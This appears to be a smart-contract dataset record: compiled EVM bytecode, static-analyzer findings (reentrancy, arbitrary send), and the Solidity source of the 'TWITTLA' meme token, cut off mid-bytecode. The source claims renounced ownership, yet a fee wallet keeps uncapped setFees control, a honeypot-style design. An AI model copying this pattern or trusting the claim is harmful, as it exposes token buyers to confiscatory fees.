ffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546125e390919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b612b04826007546129e890919063ffffffff16565b600781905550612b1f816008546125e390919063ffffffff16565b6008819055505050565b600080600080612b556064612b47888a61251e90919063ffffffff16565b61259990919063ffffffff16565b90506000612b7f6064612b71888b61251e90919063ffffffff16565b61259990919063ffffffff16565b90506000612ba882612b9a858c6129e890919063ffffffff16565b6129e890919063ffffffff16565b905080838395509550955050505093509350939050565b600080600080612bd8858961251e90919063ffffffff16565b90506000612bef868961251e90919063ffffffff16565b90506000612c06878961251e90919063ffffffff16565b90506000612c2f82612c2185876129e890919063ffffffff16565b6129e890919063ffffffff16565b9050838184965096509650505050509450945094915050565b6000612c5b612c5684613568565b613543565b90508083825260208201905082856020860282011115612c7a57600080fd5b60005b85811015612caa5781612c908882612cb4565b845260208401935060208301925050600181019050612c7d565b5050509392505050565b600081359050612cc381613b8f565b92915050565b600081519050612cd881613b8f565b92915050565b600081359050612ced81613ba6565b92915050565b600082601f830112612d0457600080fd5b8135612d14848260208601612c48565b91505092915050565b600081359050612d2c81613bbd565b92915050565b600081519050612d4181613bbd565b92915050565b600081359050612d5681613bd4565b92915050565b600081519050612d6b81613bd4565b92915050565b600060208284031215612d8357600080fd5b6000612d9184828501612cb4565b91505092915050565b600060208284031215612dac57600080fd5b6000612dba84828501612cc9565b91505092915050565b600060208284031215612dd557600080fd5b6000612de384828501612cde565b91505092915050565b60008060408385031215612dff57600080fd5b6000612e0d85828601612cb4565b9250506020612e1e85828601612cb4565b9150509250929050565b600080600060608486031215612e3d57600080fd5b6000612e4b86828701612cb4565b9350506020612e5c86828701612cb4565b9250506040612e6d86828701612d47565b9150509250925092565b60008060408385031215612e8a57600080fd5b6000612e9885828601612cb4565b9250506020612ea985828601612d47565b9150509250929050565b600060208284031215612ec557600080fd5b600082013567ffffffffffffffff811115612edf57600080fd5b612eeb84828501612cf3565b91505092915050565b600060208284031215612f0657600080fd5b6000612f1484828501612d1d565b91505092915050565b600060208284031215612f2f57600080fd5b6000612f3d84828501612d32565b91505092915050565b600060208284031215612f5857600080fd5b6000612f6684828501612d47565b91505092915050565b600080600060608486031215612f8457600080fd5b6000612f9286828701612d5c565b9350506020612fa386828701612d5c565b9250506040612fb486828701612d5c565b9150509250925092565b6000612fca8383612fd6565b60208301905092915050565b612fdf816136fe565b82525050565b612fee816136fe565b82525050565b6000612fff826135a4565b61300981856135c7565b935061301483613594565b8060005b8381101561304557815161302c8882612fbe565b9750613037836135ba565b925050600181019050613018565b5085935050505092915050565b61305b81613722565b82525050565b61306a81613765565b82525050565b600061307b826135af565b61308581856135d8565b9350613095818560208601613777565b61309e816138b1565b840191505092915050565b60006130b66023836135d8565b91506130c1826138c2565b604082019050919050565b60006130d9602a836135d8565b91506130e482613911565b604082019050919050565b60006130fc6022836135d8565b915061310782613960565b604082019050919050565b600061311f601b836135d8565b915061312a826139af565b602082019050919050565b60006131426021836135d8565b915061314d826139d8565b604082019050919050565b60006131656020836135d8565b915061317082613a27565b602082019050919050565b60006131886029836135d8565b915061319382613a50565b604082019050919050565b60006131ab6025836135d8565b91506131b682613a9f565b604082019050919050565b60006131ce6024836135d8565b91506131d982613aee565b604082019050919050565b60006131f16017836135d8565b91506131fc82613b3d565b602082019050919050565b60006132146018836135d8565b915061321f82613b66565b602082019050919050565b6132338161374e565b82525050565b61324281613758565b82525050565b600060208201905061325d6000830184612fe5565b92915050565b60006040820190506132786000830185612fe5565b6132856020830184612fe5565b9392505050565b60006040820190506132a16000830185612fe5565b6132ae602083018461322a565b9392505050565b600060c0820190506132ca6000830189612fe5565b6132d7602083018861322a565b6132e46040830187613061565b6132f16060830186613061565b6132fe6080830185612fe5565b61330b60a083018461322a565b979650505050505050565b600060208201905061332b6000830184613052565b92915050565b6000602082019050818103600083015261334b8184613070565b905092915050565b6000602082019050818103600083015261336c816130a9565b9050919050565b6000602082019050818103600083015261338c816130cc565b9050919050565b600060208201905081810360008301526133ac816130ef565b9050919050565b600060208201905081810360008301526133cc81613112565b9050919050565b600060208201905081810360008301526133ec81613135565b9050919050565b6000602082019050818103600083015261340c81613158565b9050919050565b6000602082019050818103600083015261342c8161317b565b9050919050565b6000602082019050818103600083015261344c8161319e565b9050919050565b6000602082019050818103600083015261346c816131c1565b9050919050565b6000602082019050818103600083015261348c816131e4565b9050919050565b600060208201905081810360008301526134ac81613207565b9050919050565b60006020820190506134c8600083018461322a565b92915050565b600060a0820190506134e3600083018861322a565b6134f06020830187613061565b81810360408301526135028186612ff4565b90506135116060830185612fe5565b61351e608083018461322a565b9695505050505050565b600060208201905061353d6000830184613239565b92915050565b600061354d61355e565b905061355982826137aa565b919050565b6000604051905090565b600067ffffffffffffffff82111561358357613582613882565b5b602082029050602081019050919050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b60006135f48261374e565b91506135ff8361374e565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0382111561363457613633613824565b5b828201905092915050565b600061364a8261374e565b91506136558361374e565b92508261366557613664613853565b5b828204905092915050565b600061367b8261374e565b91506136868361374e565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff04831182151516156136bf576136be613824565b5b828202905092915050565b60006136d58261374e565b91506136e08361374e565b9250828210156136f3576136f2613824565b5b828203905092915050565b60006137098261372e565b9050919050565b600061371b8261372e565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b60006137708261374e565b9050919050565b60005b8381101561379557808201518184015260208101905061377a565b838111156137a4576000848401525b50505050565b6137b3826138b1565b810181811067ffffffffffffffff821117156137d2576137d1613882565b5b80604052505050565b60006137e68261374e565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff82141561381957613818613824565b5b600182019050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b7f74726164696e6720697320616c7265616479206f70656e000000000000000000600082015250565b7f54726164696e67206e6f742079657420656e61626c65642e0000000000000000600082015250565b613b98816136fe565b8114613ba357600080fd5b50565b613baf81613710565b8114613bba57600080fd5b50565b613bc681613722565b8114613bd157600080fd5b50565b613bdd8161374e565b8114613be857600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a264697066735822122048bde00ac24f810b69346f3cfd098d45887c64532ea5e1f0cce32d7a7e9c153764736f6c63430008040033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
3,628
0x391b1a200fe962248c38dec2c402da38427604e0
/** *Submitted for verification at Etherscan.io on 2022-04-26 */ /* Welcome To TWITTLA. Elon Twitter Takeover PLAY!! Buy/Sell = 3%/5% max buy 1% max wallet 4% Ownership Renounced + Locked for 7 days */ //SPDX-License-Identifier: MIT pragma solidity ^0.8.10; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor () { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); } contract ELONOWNSTWITTERNOW is Context, IERC20, Ownable { mapping (address => uint) private _owned; mapping (address => mapping (address => uint)) private _allowances; mapping (address => bool) private _isExcludedFromFee; mapping (address => User) private cooldown; uint private constant _totalSupply = 42000000000000 * 10**decimals; string public constant name = "TWITTLA"; string public constant symbol = "TWITTLA"; uint8 public constant decimals = 9; IUniswapV2Router02 private uniswapV2Router; address payable public _FeeAddress1; address payable public _FeeAddress2; address public uniswapV2Pair; uint public _buyFee = 3; uint public _sellFee = 5; uint public _feeRate = 9; uint public _maxBuyAmount; uint public _maxHeldTokens; uint public _launchedAt; bool private _tradingOpen; bool private _inSwap; bool public _useImpactFeeSetter = true; struct User { uint buy; bool exists; } event FeeMultiplierUpdated(uint _multiplier); event ImpactFeeSetterUpdated(bool _usefeesetter); event FeeRateUpdated(uint _rate); event FeesUpdated(uint _buy, uint _sell); event FeeAddress1Updated(address _feewallet1); event FeeAddress2Updated(address _feewallet2); modifier lockTheSwap { _inSwap = true; _; _inSwap = false; } constructor (address payable FeeAddress1, address payable FeeAddress2) { _FeeAddress1 = FeeAddress1; _FeeAddress2 = FeeAddress2; _owned[address(this)] = _totalSupply; _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[FeeAddress1] = true; _isExcludedFromFee[FeeAddress2] = true; emit Transfer(address(0), address(this), _totalSupply); } function balanceOf(address account) public view override returns (uint) { return _owned[account]; } function transfer(address recipient, uint amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function totalSupply() public pure override returns (uint) { return _totalSupply; } function allowance(address owner, address spender) public view override returns (uint) { return _allowances[owner][spender]; } function approve(address spender, uint amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint amount) public override returns (bool) { if(_tradingOpen && !_isExcludedFromFee[recipient] && sender == uniswapV2Pair){ require (recipient == tx.origin, "pls no bot"); } _transfer(sender, recipient, amount); uint allowedAmount = _allowances[sender][_msgSender()] - amount; _approve(sender, _msgSender(), allowedAmount); return true; } function _approve(address owner, address spender, uint amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer(address from, address to, uint amount) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); bool isBuy = false; if(from != owner() && to != owner()) { // buy if(from == uniswapV2Pair && to != address(uniswapV2Router) && !_isExcludedFromFee[to]) { require(_tradingOpen, "Trading not yet enabled."); require(block.timestamp != _launchedAt, "pls no snip"); if((_launchedAt + (3 seconds)) > block.timestamp) { require((amount + balanceOf(address(to))) <= _maxHeldTokens, "You can't own that many tokens at once."); // 5% } if(!cooldown[to].exists) { cooldown[to] = User(0,true); } if((_launchedAt + (3 seconds)) > block.timestamp) { require(amount <= _maxBuyAmount, "Exceeds maximum buy amount."); require(cooldown[to].buy < block.timestamp + (1 seconds), "Your buy cooldown has not expired."); } cooldown[to].buy = block.timestamp; isBuy = true; } // sell if(!_inSwap && _tradingOpen && from != uniswapV2Pair) { require(cooldown[from].buy < block.timestamp + (1 seconds), "Your sell cooldown has not expired."); uint contractTokenBalance = balanceOf(address(this)); if(contractTokenBalance > 0) { if(_useImpactFeeSetter) { if(contractTokenBalance > (balanceOf(uniswapV2Pair) * _feeRate) / 100) { contractTokenBalance = (balanceOf(uniswapV2Pair) * _feeRate) / 100; } } swapTokensForEth(contractTokenBalance); } uint contractETHBalance = address(this).balance; if(contractETHBalance > 0) { sendETHToFee(address(this).balance); } isBuy = false; } } bool takeFee = true; if(_isExcludedFromFee[from] || _isExcludedFromFee[to]){ takeFee = false; } _tokenTransfer(from,to,amount,takeFee,isBuy); } function swapTokensForEth(uint tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function sendETHToFee(uint amount) private { _FeeAddress1.transfer(amount / 2); _FeeAddress2.transfer(amount / 2); } function _tokenTransfer(address sender, address recipient, uint amount, bool takefee, bool buy) private { (uint fee) = _getFee(takefee, buy); _transferStandard(sender, recipient, amount, fee); } function _getFee(bool takefee, bool buy) private view returns (uint) { uint fee = 0; if(takefee) { if(buy) { fee = _buyFee; } else { fee = _sellFee; if(block.timestamp < _launchedAt + (5 minutes)) { fee += 15; } } } return fee; } function _transferStandard(address sender, address recipient, uint amount, uint fee) private { (uint transferAmount, uint team) = _getValues(amount, fee); _owned[sender] = _owned[sender] - amount; _owned[recipient] = _owned[recipient] + transferAmount; _takeTeam(team); emit Transfer(sender, recipient, transferAmount); } function _getValues(uint amount, uint teamFee) private pure returns (uint, uint) { uint team = (amount * teamFee) / 100; uint transferAmount = amount - team; return (transferAmount, team); } function _takeTeam(uint team) private { _owned[address(this)] = _owned[address(this)] + team; } receive() external payable {} // external functions function addLiquidity() external onlyOwner() { require(!_tradingOpen, "Trading is already open"); IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); uniswapV2Router = _uniswapV2Router; _approve(address(this), address(uniswapV2Router), _totalSupply); uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH()); uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp); IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max); } function openTrading() external onlyOwner() { require(!_tradingOpen, "Trading is already open"); _tradingOpen = true; _launchedAt = block.timestamp; _maxBuyAmount = _totalSupply * 1 / 100; _maxHeldTokens = _totalSupply * 3 / 100; } function manualswap() external { require(_msgSender() == _FeeAddress1); uint contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualsend() external { require(_msgSender() == _FeeAddress1); uint contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function setFeeRate(uint rate) external { require(_msgSender() == _FeeAddress1); require(rate > 0, "Rate can't be zero"); // 100% is the common fee rate _feeRate = rate; emit FeeRateUpdated(_feeRate); } function setFees(uint buy, uint sell) external { require(_msgSender() == _FeeAddress1); _buyFee = buy; _sellFee = sell; emit FeesUpdated(_buyFee, _sellFee); } function toggleImpactFee(bool onoff) external { require(_msgSender() == _FeeAddress1); _useImpactFeeSetter = onoff; emit ImpactFeeSetterUpdated(_useImpactFeeSetter); } function updateFeeAddress1(address newAddress) external { require(_msgSender() == _FeeAddress1); _FeeAddress1 = payable(newAddress); emit FeeAddress1Updated(_FeeAddress1); } function updateFeeAddress2(address newAddress) external { require(_msgSender() == _FeeAddress2); _FeeAddress2 = payable(newAddress); emit FeeAddress2Updated(_FeeAddress2); } // view functions function thisBalance() public view returns (uint) { return balanceOf(address(this)); } function amountInPool() public view returns (uint) { return balanceOf(uniswapV2Pair); } }
0x6080604052600436106101e75760003560e01c80635090161711610102578063a9059cbb11610095578063db92dbb611610064578063db92dbb614610537578063dcb0e0ad1461054c578063dd62ed3e1461056c578063e8078d94146105b257600080fd5b8063a9059cbb146104d7578063b2131f7d146104f7578063c3c8cd801461050d578063c9567bf91461052257600080fd5b8063715018a6116100d1578063715018a6146104845780638da5cb5b1461049957806394b8d8f2146104b757806395d89b411461021c57600080fd5b80635090161714610419578063590f897e146104395780636fc3eaec1461044f57806370a082311461046457600080fd5b806327f3a72a1161017a5780633bed4355116101495780633bed4355146103a357806340b9a54b146103c357806345596e2e146103d957806349bd5a5e146103f957600080fd5b806327f3a72a14610319578063313ce5671461032e57806332d873d814610355578063367c55441461036b57600080fd5b80630b78f9c0116101b65780630b78f9c0146102ae57806318160ddd146102ce5780631940d020146102e357806323b872dd146102f957600080fd5b80630492f055146101f357806306fdde031461021c5780630802d2f61461025c578063095ea7b31461027e57600080fd5b366101ee57005b600080fd5b3480156101ff57600080fd5b50610209600d5481565b6040519081526020015b60405180910390f35b34801561022857600080fd5b5061024f6040518060400160405280600781526020016654574954544c4160c81b81525081565b6040516102139190611972565b34801561026857600080fd5b5061027c6102773660046119dc565b6105c7565b005b34801561028a57600080fd5b5061029e6102993660046119f9565b61063c565b6040519015158152602001610213565b3480156102ba57600080fd5b5061027c6102c9366004611a25565b610653565b3480156102da57600080fd5b506102096106ba565b3480156102ef57600080fd5b50610209600e5481565b34801561030557600080fd5b5061029e610314366004611a47565b6106dd565b34801561032557600080fd5b506102096107c5565b34801561033a57600080fd5b50610343600981565b60405160ff9091168152602001610213565b34801561036157600080fd5b50610209600f5481565b34801561037757600080fd5b5060085461038b906001600160a01b031681565b6040516001600160a01b039091168152602001610213565b3480156103af57600080fd5b5060075461038b906001600160a01b031681565b3480156103cf57600080fd5b50610209600a5481565b3480156103e557600080fd5b5061027c6103f4366004611a88565b6107d0565b34801561040557600080fd5b5060095461038b906001600160a01b031681565b34801561042557600080fd5b5061027c6104343660046119dc565b61086a565b34801561044557600080fd5b50610209600b5481565b34801561045b57600080fd5b5061027c6108d8565b34801561047057600080fd5b5061020961047f3660046119dc565b610905565b34801561049057600080fd5b5061027c610920565b3480156104a557600080fd5b506000546001600160a01b031661038b565b3480156104c357600080fd5b5060105461029e9062010000900460ff1681565b3480156104e357600080fd5b5061029e6104f23660046119f9565b610994565b34801561050357600080fd5b50610209600c5481565b34801561051957600080fd5b5061027c6109a1565b34801561052e57600080fd5b5061027c6109d7565b34801561054357600080fd5b50610209610acd565b34801561055857600080fd5b5061027c610567366004611aaf565b610ae5565b34801561057857600080fd5b50610209610587366004611acc565b6001600160a01b03918216600090815260036020908152604080832093909416825291909152205490565b3480156105be57600080fd5b5061027c610b58565b6007546001600160a01b0316336001600160a01b0316146105e757600080fd5b600780546001600160a01b0319166001600160a01b0383169081179091556040519081527f0e96f8986653644392af4a5daec8b04a389af0d497572173e63846ccd26c843c906020015b60405180910390a150565b6000610649338484610eb5565b5060015b92915050565b6007546001600160a01b0316336001600160a01b03161461067357600080fd5b600a829055600b81905560408051838152602081018390527f5c6323bf1c2d7aaea2c091a4751c1c87af7f2864650c336507a77d0557af37a1910160405180910390a15050565b60006106c86009600a611bff565b6106d890652632e314a000611c0e565b905090565b60105460009060ff16801561070b57506001600160a01b03831660009081526004602052604090205460ff16155b801561072457506009546001600160a01b038581169116145b15610773576001600160a01b03831632146107735760405162461bcd60e51b815260206004820152600a6024820152691c1b1cc81b9bc8189bdd60b21b60448201526064015b60405180910390fd5b61077e848484610fd9565b6001600160a01b03841660009081526003602090815260408083203384529091528120546107ad908490611c2d565b90506107ba853383610eb5565b506001949350505050565b60006106d830610905565b6007546001600160a01b0316336001600160a01b0316146107f057600080fd5b600081116108355760405162461bcd60e51b8152602060048201526012602482015271526174652063616e2774206265207a65726f60701b604482015260640161076a565b600c8190556040518181527f208f1b468d3d61f0f085e975bd9d04367c930d599642faad06695229f3eadcd890602001610631565b6008546001600160a01b0316336001600160a01b03161461088a57600080fd5b600880546001600160a01b0319166001600160a01b0383169081179091556040519081527f96511497113ddf59712b28350d7457b9c300ab227616bd3b451745a395a5301490602001610631565b6007546001600160a01b0316336001600160a01b0316146108f857600080fd5b47610902816115d1565b50565b6001600160a01b031660009081526002602052604090205490565b6000546001600160a01b0316331461094a5760405162461bcd60e51b815260040161076a90611c44565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000610649338484610fd9565b6007546001600160a01b0316336001600160a01b0316146109c157600080fd5b60006109cc30610905565b905061090281611656565b6000546001600160a01b03163314610a015760405162461bcd60e51b815260040161076a90611c44565b60105460ff1615610a4e5760405162461bcd60e51b81526020600482015260176024820152762a3930b234b7339034b99030b63932b0b23c9037b832b760491b604482015260640161076a565b6010805460ff1916600117905542600f556064610a6d6009600a611bff565b610a7d90652632e314a000611c0e565b610a88906001611c0e565b610a929190611c79565b600d556064610aa36009600a611bff565b610ab390652632e314a000611c0e565b610abe906003611c0e565b610ac89190611c79565b600e55565b6009546000906106d8906001600160a01b0316610905565b6007546001600160a01b0316336001600160a01b031614610b0557600080fd5b6010805462ff00001916620100008315158102919091179182905560405160ff9190920416151581527ff65c78d1059dbb9ec90732848bcfebbec05ac40af847d3c19adcad63379d3aeb90602001610631565b6000546001600160a01b03163314610b825760405162461bcd60e51b815260040161076a90611c44565b60105460ff1615610bcf5760405162461bcd60e51b81526020600482015260176024820152762a3930b234b7339034b99030b63932b0b23c9037b832b760491b604482015260640161076a565b600680546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d908117909155610c1e3082610c096009600a611bff565b610c1990652632e314a000611c0e565b610eb5565b806001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015610c5c573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610c809190611c9b565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610ccd573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610cf19190611c9b565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303816000875af1158015610d3e573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610d629190611c9b565b600980546001600160a01b0319166001600160a01b039283161790556006541663f305d7194730610d9281610905565b600080610da76000546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af1158015610e0f573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610e349190611cb8565b505060095460065460405163095ea7b360e01b81526001600160a01b03918216600482015260001960248201529116915063095ea7b3906044016020604051808303816000875af1158015610e8d573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610eb19190611ce6565b5050565b6001600160a01b038316610f175760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b606482015260840161076a565b6001600160a01b038216610f785760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b606482015260840161076a565b6001600160a01b0383811660008181526003602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b03831661103d5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b606482015260840161076a565b6001600160a01b03821661109f5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b606482015260840161076a565b600081116111015760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b606482015260840161076a565b600080546001600160a01b0385811691161480159061112e57506000546001600160a01b03848116911614155b15611572576009546001600160a01b03858116911614801561115e57506006546001600160a01b03848116911614155b801561118357506001600160a01b03831660009081526004602052604090205460ff16155b1561140e5760105460ff166111da5760405162461bcd60e51b815260206004820152601860248201527f54726164696e67206e6f742079657420656e61626c65642e0000000000000000604482015260640161076a565b600f5442036112195760405162461bcd60e51b815260206004820152600b60248201526a0706c73206e6f20736e69760ac1b604482015260640161076a565b42600f5460036112299190611d03565b11156112a357600e5461123b84610905565b6112459084611d03565b11156112a35760405162461bcd60e51b815260206004820152602760248201527f596f752063616e2774206f776e2074686174206d616e7920746f6b656e7320616044820152663a1037b731b29760c91b606482015260840161076a565b6001600160a01b03831660009081526005602052604090206001015460ff1661130b576040805180820182526000808252600160208084018281526001600160a01b03891684526005909152939091209151825591519101805460ff19169115159190911790555b42600f54600361131b9190611d03565b11156113ef57600d548211156113735760405162461bcd60e51b815260206004820152601b60248201527f45786365656473206d6178696d756d2062757920616d6f756e742e0000000000604482015260640161076a565b61137e426001611d03565b6001600160a01b038416600090815260056020526040902054106113ef5760405162461bcd60e51b815260206004820152602260248201527f596f75722062757920636f6f6c646f776e20686173206e6f7420657870697265604482015261321760f11b606482015260840161076a565b506001600160a01b038216600090815260056020526040902042905560015b601054610100900460ff16158015611428575060105460ff165b801561144257506009546001600160a01b03858116911614155b1561157257611452426001611d03565b6001600160a01b038516600090815260056020526040902054106114c45760405162461bcd60e51b815260206004820152602360248201527f596f75722073656c6c20636f6f6c646f776e20686173206e6f7420657870697260448201526232b21760e91b606482015260840161076a565b60006114cf30610905565b9050801561155b5760105462010000900460ff161561155257600c5460095460649190611504906001600160a01b0316610905565b61150e9190611c0e565b6115189190611c79565b81111561155257600c546009546064919061153b906001600160a01b0316610905565b6115459190611c0e565b61154f9190611c79565b90505b61155b81611656565b47801561156b5761156b476115d1565b6000925050505b6001600160a01b03841660009081526004602052604090205460019060ff16806115b457506001600160a01b03841660009081526004602052604090205460ff165b156115bd575060005b6115ca85858584866117ca565b5050505050565b6007546001600160a01b03166108fc6115eb600284611c79565b6040518115909202916000818181858888f19350505050158015611613573d6000803e3d6000fd5b506008546001600160a01b03166108fc61162e600284611c79565b6040518115909202916000818181858888f19350505050158015610eb1573d6000803e3d6000fd5b6010805461ff001916610100179055604080516002808252606082018352600092602083019080368337019050509050308160008151811061169a5761169a611d1b565b6001600160a01b03928316602091820292909201810191909152600654604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa1580156116f3573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906117179190611c9b565b8160018151811061172a5761172a611d1b565b6001600160a01b0392831660209182029290920101526006546117509130911684610eb5565b60065460405163791ac94760e01b81526001600160a01b039091169063791ac94790611789908590600090869030904290600401611d31565b600060405180830381600087803b1580156117a357600080fd5b505af11580156117b7573d6000803e3d6000fd5b50506010805461ff001916905550505050565b60006117d683836117ec565b90506117e486868684611833565b505050505050565b600080831561182c5782156118045750600a5461182c565b50600b54600f546118179061012c611d03565b42101561182c57611829600f82611d03565b90505b9392505050565b6000806118408484611910565b6001600160a01b0388166000908152600260205260409020549193509150611869908590611c2d565b6001600160a01b038088166000908152600260205260408082209390935590871681522054611899908390611d03565b6001600160a01b0386166000908152600260205260409020556118bb81611944565b846001600160a01b0316866001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8460405161190091815260200190565b60405180910390a3505050505050565b6000808060646119208587611c0e565b61192a9190611c79565b905060006119388287611c2d565b96919550909350505050565b3060009081526002602052604090205461195f908290611d03565b3060009081526002602052604090205550565b600060208083528351808285015260005b8181101561199f57858101830151858201604001528201611983565b818111156119b1576000604083870101525b50601f01601f1916929092016040019392505050565b6001600160a01b038116811461090257600080fd5b6000602082840312156119ee57600080fd5b813561182c816119c7565b60008060408385031215611a0c57600080fd5b8235611a17816119c7565b946020939093013593505050565b60008060408385031215611a3857600080fd5b50508035926020909101359150565b600080600060608486031215611a5c57600080fd5b8335611a67816119c7565b92506020840135611a77816119c7565b929592945050506040919091013590565b600060208284031215611a9a57600080fd5b5035919050565b801515811461090257600080fd5b600060208284031215611ac157600080fd5b813561182c81611aa1565b60008060408385031215611adf57600080fd5b8235611aea816119c7565b91506020830135611afa816119c7565b809150509250929050565b634e487b7160e01b600052601160045260246000fd5b600181815b80851115611b56578160001904821115611b3c57611b3c611b05565b80851615611b4957918102915b93841c9390800290611b20565b509250929050565b600082611b6d5750600161064d565b81611b7a5750600061064d565b8160018114611b905760028114611b9a57611bb6565b600191505061064d565b60ff841115611bab57611bab611b05565b50506001821b61064d565b5060208310610133831016604e8410600b8410161715611bd9575081810a61064d565b611be38383611b1b565b8060001904821115611bf757611bf7611b05565b029392505050565b600061182c60ff841683611b5e565b6000816000190483118215151615611c2857611c28611b05565b500290565b600082821015611c3f57611c3f611b05565b500390565b6020808252818101527f4f776e61626c653a2063616c6c657220